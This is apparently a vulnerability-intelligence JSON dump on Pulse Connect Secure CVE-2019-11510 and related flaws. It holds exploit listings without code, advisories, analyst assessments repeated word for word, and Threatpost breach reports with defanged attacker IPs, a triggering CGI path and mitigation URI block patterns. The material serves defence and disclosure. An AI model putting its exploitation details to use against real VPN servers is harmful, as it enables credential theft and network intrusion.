{"githubexploit": [{"lastseen": "2022-07-10T18:30:15", "description": "# pwn-pulse.sh\n**Exploit for Pulse Connect Secure SSL VPN arbitr...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2019-09-09T15:58:39", "type": "githubexploit", "title": "Exploit for Path Traversal in Pulsesecure Pulse Connect Secure", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", 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"2021-12-10T14:17:45", "description": "Hi this is script to check IP address from shodan that vul...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2019-08-21T12:03:14", "type": "githubexploit", "title": "Exploit for Path Traversal in Pulsesecure Pulse Connect Secure", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510"], "modified": "2020-10-19T12:40:24", "id": "BBEEB41B-D67F-54B6-BA27-1956F83AAAC5", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-08-18T13:54:43", "description": "<!DOCTYPE html>\n<html dir=\"rtl\" lang=\"fa-IR\">\n\n<head>\n\t<meta cha...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-09-17T17:53:56", "type": "githubexploit", "title": "Exploit for Path Traversal in Pulsesecure Pulse Connect Secure", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510"], "modified": "2020-11-05T21:41:20", "id": "00B8023B-5D2D-5FF7-9F9E-C773ACF38386", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-03-06T10:03:57", "description": "# check-your-pulse #\n\n[![GitHub Build Status](https://github.com...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2020-04-16T16:32:47", "type": "githubexploit", "title": "Exploit for Path Traversal in Pulsesecure Pulse Connect Secure", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781"], "modified": "2022-03-06T07:12:20", "id": "62891769-2887-58A7-A603-BCD5E6A6D6F9", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}], "checkpoint_advisories": [{"lastseen": "2021-12-17T11:19:47", "description": "A file disclosure vulnerability exists in Pulse Connect Secure. Successful exploitation of this vulnerability would allow a remote attacker to list directories on the affected system.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2019-09-04T00:00:00", "type": "checkpoint_advisories", "title": "Pulse Connect Secure File Disclosure (CVE-2019-11510)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510"], "modified": "2019-09-04T00:00:00", "id": "CPAI-2019-1097", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "attackerkb": [{"lastseen": "2022-12-10T11:13:41", "description": "In Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4, an unauthenticated remote attacker can send a specially crafted URI to perform an arbitrary file reading vulnerability .\n\n \n**Recent assessments:** \n \n**dmelcher5151** at April 15, 2020 4:11pm UTC reported:\n\nCan download the session DB in one request and escalate to admin on the VPN concentrator. May not be configured to log unauthenticated requests. Causes massive damage. If not patched, likely wrecked.\n\n**hrbrmstr** at May 12, 2020 7:55pm UTC reported:\n\nCan download the session DB in one request and escalate to admin on the VPN concentrator. May not be configured to log unauthenticated requests. Causes massive damage. If not patched, likely wrecked.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2019-05-08T00:00:00", "type": "attackerkb", "title": "CVE-2019-11510", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510"], "modified": "2021-07-27T00:00:00", "id": "AKB:236680FB-F804-4F5D-B51D-4B50C9F69BBD", "href": "https://attackerkb.com/topics/lx3Afd7fbJ/cve-2019-11510", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-01-06T23:12:21", "description": "A vulnerability in the Pulse Connect Secure < 9.1R8.2 admin web interface could allow an authenticated attacker to upload custom template to perform an arbitrary code execution.\n\n \n**Recent assessments:** \n \n**wvu-r7** at October 07, 2020 10:52pm UTC reported:\n\nOh dear, [another](<https://research.nccgroup.com/2020/10/06/technical-advisory-pulse-connect-secure-rce-via-template-injection-cve-2020-8243/>) Pulse Secure vuln. Let\u2019s break this down lightly.\n\nThis particular CVE can be compared to [CVE-2019-11539](<https://attackerkb.com/topics/9xmWr9M5KE/cve-2019-11539>), which is also an authenticated RCE that requires access to the admin interface. So, the fact that this requires admin interface access ([SSRF](<https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html>) notwithstanding) significantly reduces the impact of the vuln.\n\nBut wait, there\u2019s more! Why was CVE-2019-11539 such a big deal, then? We have to consider the effects of [CVE-2019-11510](<https://attackerkb.com/topics/lx3Afd7fbJ/cve-2019-11510>) in the exploit chain. We were able to leak session cookies with CVE-2019-11510, among many other things, which let us authenticate our post-auth RCE. All it takes is one info leak primitive. And short of an info leak, creds can still be compromised in other ways, such as through default creds, password spraying, or even a file in an SMB share somewhere (hopefully internal).\n\nSo, uh, yeah. Patch this. Secure your creds and don\u2019t make them `admin:admin`. Admin access alone is devastating. Don\u2019t add root RCE to it. VPN is the window into your org.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 2\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-09-30T00:00:00", "type": "attackerkb", "title": "CVE-2020-8243", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-11539", "CVE-2020-8243"], "modified": "2020-10-08T00:00:00", "id": "AKB:F0223615-0DEB-4BCC-8CF7-F9CED07F1876", "href": "https://attackerkb.com/topics/nYer9Gnh1O/cve-2020-8243", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-24T20:17:18", "description": "In Pulse Secure Pulse Connect Secure version 9.0RX before 9.0R3.4, 8.3RX before 8.3R7.1, 8.2RX before 8.2R12.1, and 8.1RX before 8.1R15.1 and Pulse Policy Secure version 9.0RX before 9.0R3.2, 5.4RX before 5.4R7.1, 5.3RX before 5.3R12.1, 5.2RX before 5.2R12.1, and 5.1RX before 5.1R15.1, the admin web interface allows an authenticated attacker to inject and execute commands.\n\n \n**Recent assessments:** \n \n**wwoolwine-r7** at May 14, 2020 5:19pm UTC reported:\n\nBeing an authenticated exploit, it\u2019s certainly of less value to an attacker. Could be used in a privilege escalation context.\n\n**ccondon-r7** at October 25, 2020 8:30pm UTC reported:\n\nBeing an authenticated exploit, it\u2019s certainly of less value to an attacker. Could be used in a privilege escalation context.\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 4Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2019-04-26T00:00:00", "type": "attackerkb", "title": "CVE-2019-11539", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-11539", "CVE-2020-11510", "CVE-2020-11539"], "modified": "2020-07-30T00:00:00", "id": "AKB:0C69B33C-2322-4075-BE16-A92593B75107", "href": "https://attackerkb.com/topics/9xmWr9M5KE/cve-2019-11539", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "threatpost": [{"lastseen": "2020-10-16T22:09:34", "description": "A federal agency has suffered a successful espionage-related cyberattack that led to a backdoor and multistage malware being dropped on its network.\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) [issued an alert](<https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a>) on Thursday, not naming the agency but providing technical details of the attack. Hackers, it said, gained initial access by using employees\u2019 legitimate Microsoft Office 365 log-in credentials to sign onto an agency computer remotely.\n\n\u201cThe cyber-threat actor had valid access credentials for multiple users\u2019 Microsoft Office 365 (O365) accounts and domain administrator accounts,\u201d according to CISA. \u201cFirst, the threat actor logged into a user\u2019s O365 account from Internet Protocol (IP) address 91.219.236[.]166 and then browsed pages on a SharePoint site and downloaded a file. The cyber-threat actor connected multiple times by Transmission Control Protocol (TCP) from IP address 185.86.151[.]223 to the victim organization\u2019s virtual private network (VPN) server.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nAs for how the attackers managed to get their hands on the credentials in the first place, CISA\u2019s investigation turned up no definitive answer \u2013 however, it speculated that it could have been a result of a vulnerability exploit that it said has been rampant across government networks.\n\n\u201cIt is possible the cyber-actor obtained the credentials from an unpatched agency VPN server by exploiting a known vulnerability\u2014CVE-2019-11510\u2014in Pulse Secure,\u201d according to the alert. \u201cCVE-2019-11510\u2026allows the remote, unauthenticated retrieval of files, including passwords. CISA has observed wide exploitation of CVE-2019-11510 across the federal government.\u201d\n\nThe patch was issued in April of 2019, but the Department of Homeland Security (DHS) in April of this year [noted that](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>) before the patches were deployed, bad actors were able to compromise Active Directory accounts via the flaw \u2013 so, even those who have patched for the bug could still be compromised and are vulnerable to attack.\n\nAfter initial access, the group set about carrying out reconnaissance on the network. First they logged into an agency O365 email account to view and download help-desk email attachments with \u201cIntranet access\u201d and \u201cVPN passwords\u201d in the subject lines \u2013 and it uncovered Active Directory and Group Policy key, changing a registry key for the Group Policy.\n\n\u201cImmediately afterward, the threat actor used common Microsoft Windows command line processes\u2014conhost, ipconfig, net, query, netstat, ping and whoami, plink.exe\u2014to enumerate the compromised system and network,\u201d according to CISA.\n\nThe next step was to connect to a virtual private server (VPS) through a Windows Server Message Block (SMB) client, using an alias secure identifier account that the group had previously created to log into it; then, they executed plink.exe, a remote administration utility.\n\nAfter that, they connected to command-and-control (C2), and installed a custom malware with the file name \u201cinetinfo.exe.\u201d The attackers also set up a locally mounted remote share, which \u201callowed the actor to freely move during its operations while leaving fewer artifacts for forensic analysis,\u201d CISA noted.\n\nThe cybercriminals, while logged in as an admin, created a scheduled task to run the malware, which turned out to be a dropper for additional payloads.\n\n\u201cinetinfo.exe is a unique, multi-stage malware used to drop files,\u201d explained CISA. \u201cIt dropped system.dll and 363691858 files and a second instance of inetinfo.exe. The system.dll from the second instance of inetinfo.exe decrypted 363691858 as binary from the first instance of inetinfo.exe. The decrypted 363691858 binary was injected into the second instance of inetinfo.exe to create and connect to a locally named tunnel. The injected binary then executed shellcode in memory that connected to IP address 185.142.236[.]198, which resulted in download and execution of a payload.\u201d\n\nIt added, \u201cThe cyber-threat actor was able to overcome the agency\u2019s anti-malware protection, and inetinfo.exe escaped quarantine.\u201d\n\nCISA didn\u2019t specify what the secondary payload was \u2013 Threatpost has reached out for additional information.\n\nThe threat group meanwhile also established a backdoor in the form of a persistent Secure Socket Shell (SSH) tunnel/reverse SOCKS proxy.\n\n\u201cThe proxy allowed connections between an attacker-controlled remote server and one of the victim organization\u2019s file servers,\u201d according to CISA. \u201cThe reverse SOCKS proxy communicated through port 8100. This port is normally closed, but the attacker\u2019s malware opened it.\u201d\n\nA local account was then created, which was used for data collection and exfiltration. From the account, the cybercriminals browsed directories on victim file servers; copied files from users\u2019 home directories; connected an attacker-controlled VPS with the agency\u2019s file server (via a reverse SMB SOCKS proxy); and exfiltrated all the data using the Microsoft Windows Terminal Services client.\n\nThe attack has been remediated \u2013 and it\u2019s unclear when it took place. CISA said that it\u2019s intrusion-detection system was thankfully able to eventually flag the activity, however.\n\n\u201cCISA became aware\u2014via EINSTEIN, CISA\u2019s intrusion-detection system that monitors federal civilian networks\u2014of a potential compromise of a federal agency\u2019s network,\u201d according to the alert. \u201cIn coordination with the affected agency, CISA conducted an incident response engagement, confirming malicious activity.\u201d\n", "cvss3": {}, "published": "2020-09-24T20:47:40", "type": "threatpost", "title": "Feds Hit with Successful Cyberattack, Data Stolen", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11510"], "modified": "2020-09-24T20:47:40", "id": "THREATPOST:3E47C166057EC7923F0BBBE4019F6C75", "href": "https://threatpost.com/feds-cyberattack-data-stolen/159541/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-05-25T17:54:37", "description": "Pulse Secure has issued a workaround for a critical remote-code execution (RCE) vulnerability in its Pulse Connect Secure (PCS) VPNs that may allow an unauthenticated, remote attacker to execute code as a user with root privileges.\n\nPulse Secure\u2019s parent company, Ivanti, issued an out-of-band [advisory](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44800>) on May 14. The company explained that this high-severity bug \u2013 identified as [CVE-2021-22908](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22908>) and rated CVSS 8.5 \u2013 affects Pulse Connect Secure versions 9.0Rx and 9.1Rx.\n\n\u201cBuffer Overflow in Windows File Resource Profiles in 9.X allows a remote authenticated user with privileges to browse SMB shares to execute arbitrary code as the root user,\u201d according to the advisory. \u201cAs of version 9.1R3, this permission is not enabled by default.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe CERT Coordination Center issued a [report](<https://kb.cert.org/vuls/id/667933>) about the vulnerability, explaining that the problem stems from a buffer overflow vulnerability in the PCS gateway. CERT/CC explained that the gateway\u2019s ability to connect to Windows file shares through a number of CGI endpoints could be leveraged to carry out an attack.\n\n\u201cWhen specifying a long server name for some SMB operations, the `smbclt` application may crash due to either a stack buffer overflow or a heap buffer overflow, depending on how long of a server name is specified,\u201d CERT/CC noted. PCS 9.1R11.4 systems are vulnerable: CERT/CC said that it\u2019s managed to trigger the vulnerability by targeting the CGI script `/dana/fb/smb/wnf.cgi`, although \u201cOther CGI endpoints may also trigger the vulnerable code.\u201d\n\nThere\u2019s currently no practical solution to this problem, at least not that CERT/CC is aware of, according to Will Dormann, who both discovered the vulnerability and wrote up the CERT/CC report. He offered two workarounds:\n\n## Fix No. 1: Apply XML Workaround\n\nPulse Secure has published a quick fix: a Workaround-2105.xml file with a mitigation to protect against the vulnerability. \u201cImporting this XML workaround will activate the protections immediately,\u201d according to Dormann\u2019s report, and \u201cdoes not require any downtime for the VPN system.\n\nThe workaround blocks requests that match these URI patterns:\n\n`^/+dana/+fb/+smb` \n`^/+dana-cached/+fb/+smb`\n\nDormann advised users to note that `Workaround-2105.xml` will automatically deactivate the mitigations applied by an earlier workaround, `Workaround-2104.xml`. That makes it \u201cimperative that a PCS system is running 9.1R11.4 before applying the `Workaround-2105.xml` mitigation,\u201d he said, to ensure that the vulnerabilities outlined in [SA44784](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784>) aren\u2019t reintroduced as the result of applying the workaround.\n\nThe workaround will block the ability to use Windows File Share Browser.\n\n## Fix No. 2: Set a Windows File Access Policy\n\nDormann said that a PCS system that started as 9.1R2 or earlier will retain the default Initial File Browsing Policy of Allow for `\\\\*` SMB connections, which will expose this vulnerability. He advised users to check out the administrative page for the PCS, at `Users -> Resource Policies -> Windows File Access Policies` to view current SMB policy.\n\nA PCS policy that explicitly allows `\\\\*` or otherwise \u201cmay allow users to initiate connections to arbitrary SMB server names,\u201d Dormann advised, telling users to \u201cconfigure the PCS to Deny connections to such resources to minimize your PCS attack surface.\u201d\n\n## Add One More to the Growing List of Vulnerabilities\n\nDirk Schrader, global vice president of security research at New Net Technologies, told Threatpost on Tuesday that it\u2019s \u201cnot exaggerated\u201d to assign such a high severity score to this vulnerability. \u201cPrivilege escalations are a central element in many attack vectors, and this one would allow a root-privileged operation,\u201d he noted via email.\n\nGiven that resources on cybersecurity teams are limited, a \u201cquick fix\u201d like what Pulse Secure issued \u2013 i.e., the XML files \u2013 is concerning, Schrader said. \u201cThe quick fix, if applied with no further consideration, [could] re-introduce more severe vulnerabilities recently discovered,\u201d he said.\n\nThose recently discovered vulnerabilities include:\n\n * **May: **Earlier this month, a [critical zero-day](<https://threatpost.com/pulse-secure-vpns-fix-critical-zero-day-bugs/165850/>) flaw in Pulse Secure\u2019s Connect Secure VPN devices was being used by at least two advanced persistent threat (APT) groups, likely linked to China, to attack U.S. defense, finance and government targets, as well as victims in Europe. That one wasn\u2019t a one-off: At the same time, Pulse Secure also patched three other security bugs, two of them also critical RCE vulnerabilities. Attacker activity around the zero day was so high that it prompted the Cybersecurity and Infrastructure Security Agency (CISA) [to issue an alert](<https://cyber.dhs.gov/ed/21-03/>) warning businesses of the campaigns, which [FireEye Mandiant](<https://threatpost.com/pulse-secure-critical-zero-day-active-exploit/165523/>) telemetry indicates have been carried out by two main APT clusters with links to China: UNC2630 and UNC2717. [CISA told CNN](<https://itwire.com/security/five-us-government-agencies-attacked-through-pulse-secure-vpns.html>) that it was aware of at least five federal civilian agencies who were attacked through Pulse Secure VPNs.\n * **April:** [The FBI warned](<https://threatpost.com/nsa-security-bugs-active-nation-state-cyberattack/165446/>) that a known arbitrary file-read Pulse Secure bug (CVE-2019-11510) was part of five vulnerabilities under attack by the Russia-linked group known as APT29 (a.k.a. Cozy Bear or The Dukes). APT29 is conducting \u201cwidespread scanning and exploitation against vulnerable systems in an effort to obtain authentication credentials to allow further access,\u201d according to the Feds.\n * **April**: The Department of Homeland Security (DHS) urged companies that use Pulse Secure VPNs to change their passwords for Active Directory accounts, because in many cases, attackers have already exploited CVE-2019-11510 to hoover up victims\u2019 credentials \u2013 and now are using those credentials to move laterally through organizations, [DHS warned](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>).\n * **October**: CISA said that a federal agency had suffered a successful espionage-related cyberattack that led to a backdoor and multistage malware being dropped on its network. Once again, [CVE-2019-11510 was in play](<https://threatpost.com/feds-cyberattack-data-stolen/159541/>), used to gain access to employees\u2019 legitimate Microsoft Office 365 log-in credentials and sign into an agency computer remotely.\n\n052521 13:35 UPDATE: Threatpost has requested details from Pulse Secure about whether a permanent fix is in the works.\n\n**Download our exclusive FREE Threatpost Insider eBook, ****_\u201c_**[**_2021: The Evolution of Ransomware_**](<https://threatpost.com/ebooks/2021-the-evolution-of-ransomware/?utm_source=April_eBook&utm_medium=ART&utm_campaign=ART>)**_,\u201d_**** to help hone your cyber-defense strategies against this growing scourge. We go beyond the status quo to uncover what\u2019s next for ransomware and the related emerging risks. Get the whole story and **[**DOWNLOAD**](<https://threatpost.com/ebooks/2021-the-evolution-of-ransomware/?utm_source=April_eBook&utm_medium=ART&utm_campaign=ART>)** the eBook now \u2013 on us!**\n", "cvss3": {}, "published": "2021-05-25T14:57:53", "type": "threatpost", "title": "Pulse Secure VPNs Get Quick Fix for Critical RCE", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11510", "CVE-2021-22908"], "modified": "2021-05-25T14:57:53", "id": "THREATPOST:8C45AF2306CB954ACB231C2C0C5EDA9E", "href": "https://threatpost.com/pulse-secure-vpns-critical-rce/166437/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-02T22:02:21", "description": "The Sodinokibi ransomware strain is apparently behind the New Year\u2019s Eve attack on foreign currency-exchange giant Travelex, which has left its customers and banking partners stranded without its services.\n\nThe criminals behind the attack are demanding a six-figure sum in return for the decryption key, according to reports, and are directing the company to a payment website hosted in Colorado.\n\n\u201cIt is just business. We absolutely do not care about you or your details, except getting benefits. If we do not do our work and liabilities \u2013 nobody will not co-operate with us. It is not in our interests,\u201d the [readme file](<https://www.computerweekly.com/news/252476283/Cyber-gangsters-demand-payment-from-Travelex-after-Sodinokibi-attack>) for the ransomware, obtained by Computer Weekly, said. \u201cIf you do not cooperate with our service \u2013 for us it does not matter. But you will lose your time and your data, cause just we have the private key. In practice time is much more valuable than money.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nSodinokibi, also known as REvil, appeared in April 2019. It has been responsible for a string of high-profile hits, including attacks on [22 Texas municipalities](<https://threatpost.com/the-texas-ransomware-attacks-a-gamechanger-for-cybercriminals/147597/>) and [various dentist offices](<https://threatpost.com/news-wrap-dentist-offices-hit-by-ransomware-venmo-faces-privacy-firestorm/147856/>) around the country. Researchers from Secureworks Counter Threat Unit (CTU) believe that the group behind the infamous GandCrab ransomware, which earlier this year [claimed to have retired](<https://threatpost.com/gandcrab-ransomware-shutters/145267/>), is actually [responsible for Sodinokibi](<https://threatpost.com/gandcrab-operators-resurface-revile-malware/148631/>), given that the string decoding functions and other code aspects employed by Sodinokibi and GandCrab are nearly identical.\n\nTravelex, a ubiquitous fixture at airports, provides foreign-exchange services in 70 countries across more than 1,200 retail branches. The attack resulted in Travelex websites in at least 20 countries going offline, left its retail locations to carry out tasks manually, and many customers remain stranded without travel money. Its global banking partners, including Barclays, First Direct, HSBC, Sainsbury\u2019s Bank, Tesco and Virgin Money, have also been left adrift with no way to buy or sell foreign currency.\n\nIt\u2019s unclear whether the company plans to pay the ransom, and it has offered no timeline on cleanup. While the company has [admitted the attack](<https://threatpost.com/travelex-knocked-offline-malware-attack/151522/>), many of its websites merely are showing a [warning screen](<https://www.travelex.com/news-room>) saying that they\u2019re down for \u201cplanned maintenance.\u201d\n\nIt has not returned Threatpost\u2019s requests for comment.\n\n## Unpatched Pulse Secure Servers\n\nThe attack could have been successful in part because Travelex took several months to patch critical vulnerabilities in its Pulse Secure VPN servers, according to Bad Packets.\n\nPulse Secure offers a popular enterprise remote access family of products. The company issued an urgent patch for two critical vulnerabilities in its Zero Trust VPN product in April. CVE-2019-11510 is an arbitrary file reading vulnerability allows sensitive information disclosure enabling unauthenticated attackers to access private keys and user passwords, according to the advisory; further exploitation using the leaked credentials can lead to remote command injection (CVE-2019-11539) and allow attackers to gain access inside private VPN networks.\n\n\u201cThat vulnerability is incredibly bad \u2014 it allows people without valid usernames and passwords to remotely connect to the corporate network the device is supposed to protect, turn off multi-factor authentication controls, remotely view logs and cached passwords in plain text (including Active Directory account passwords),\u201d explained researcher Kevin Beaumont (a.k.a. Gossi the Dog), [in a posting](<https://doublepulsar.com/big-game-ransomware-being-delivered-to-organisations-via-pulse-secure-vpn-bd01b791aad9>) this week.\n\nHe said that in August, he became aware that public exploits had been made available and that cybercriminals including APTs were actively scanning the internet for the issue (using public tools like the Shodan search engine). A corresponding [report from Bad Packets](<https://badpackets.net/over-14500-pulse-secure-vpn-endpoints-vulnerable-to-cve-2019-11510/>) that month indicated that major cyberattacks could be imminent.\n\n\u201cOn August 25th 2019, Bad Packets scanned the internet and [found almost 15,000 